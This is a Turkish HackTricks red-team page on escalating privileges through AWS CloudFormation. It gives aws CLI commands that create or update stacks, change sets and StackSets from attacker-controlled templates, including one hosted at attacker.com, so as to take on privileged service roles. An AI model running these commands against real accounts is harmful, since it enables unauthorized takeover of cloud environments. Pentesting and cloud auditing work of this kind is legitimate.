AWS - Cloudformation Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

cloudformation

Cloudformation hakkında daha fazla bilgi için:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Bu izinlere sahip bir saldırgan, özel bir şablonla kendi sunucusunda barındırılan bir CloudFormation yığını oluşturarak, belirtilen bir rolün izinleri altında eylemler gerçekleştirebilir ve böylece yetkileri yükseltebilir:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Aşağıdaki sayfada, sızma örneği ve ek izin cloudformation:DescribeStacks ile ilgili bir örnek bulunmaktadır:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Potansiyel Etki: Belirtilen cloudformation hizmet rolüne ayrıcalık yükseltme.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Bu durumda, önceki senaryoda olduğu gibi, mevcut bir cloudformation yığınını kötüye kullanarak güncelleyebilir ve ayrıcalıkları yükseltebilirsiniz.

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy izni, bir yığın üzerinde kendinize UpdateStack izni vermek ve saldırıyı gerçekleştirmek için kullanılabilir.

Potansiyel Etki: Belirtilen cloudformation hizmet rolüne ayrıcalık yükseltme.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Bu izne sahipseniz ancak iam:PassRole izniniz yoksa, yine de kullanılan yığınları güncelleyebilir ve zaten ekli olan IAM Rollerini kötüye kullanabilirsiniz. Saldırı örneği için önceki bölüme bakın (güncellemede herhangi bir rol belirtmeyin).

cloudformation:SetStackPolicy izni, bir yığın üzerinde kendinize UpdateStack izni vermek ve saldırıyı gerçekleştirmek için kullanılabilir.

Potansiyel Etki: Zaten ekli olan cloudformation hizmet rolüne ayrıcalık yükseltme.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Bir saldırgan, bir rolü geçme ve bir ChangeSet oluşturma ve yürütme iznine sahip olduğunda, CreateStack veya UpdateStack ile olduğu gibi yeni bir cloudformation yığını oluşturabilir/güncelleyebilir ve cloudformation hizmet rollerini kötüye kullanabilir.

Aşağıdaki saldırı, bir yığın oluşturmak için ChangeSet izinlerini kullanan CreateStack örneğinin bir varyasyonudur.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy izni, bir yığın üzerinde ChangeSet izinlerini kendinize vermek ve saldırıyı gerçekleştirmek için kullanılabilir.

Potansiyel Etki: CloudFormation hizmet rollerine ayrıcalık yükseltme.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Bu, önceki yönteme benzer, ancak IAM rolleri geçirilmeden yapılır, bu nedenle sadece zaten ekli olanları kötüye kullanabilirsiniz, sadece parametreyi değiştirin:

--change-set-type UPDATE

Potansiyel Etki: Zaten eklenmiş olan cloudformation hizmet rolüne ayrıcalık yükseltme.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Bir saldırgan, bu izinleri kötüye kullanarak keyfi cloudformation rollerini kullanmak için StackSet oluşturabilir/güncelleyebilir.

Potansiyel Etki: Cloudformation hizmet rollerine ayrıcalık yükseltme.

cloudformation:UpdateStackSet

Bir saldırgan, bu izni passRole izni olmadan kullanarak, ekli cloudformation rollerini kötüye kullanmak için StackSet'i güncelleyebilir.

Potansiyel Etki: Ekli cloudformation rollerine ayrıcalık yükseltme.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated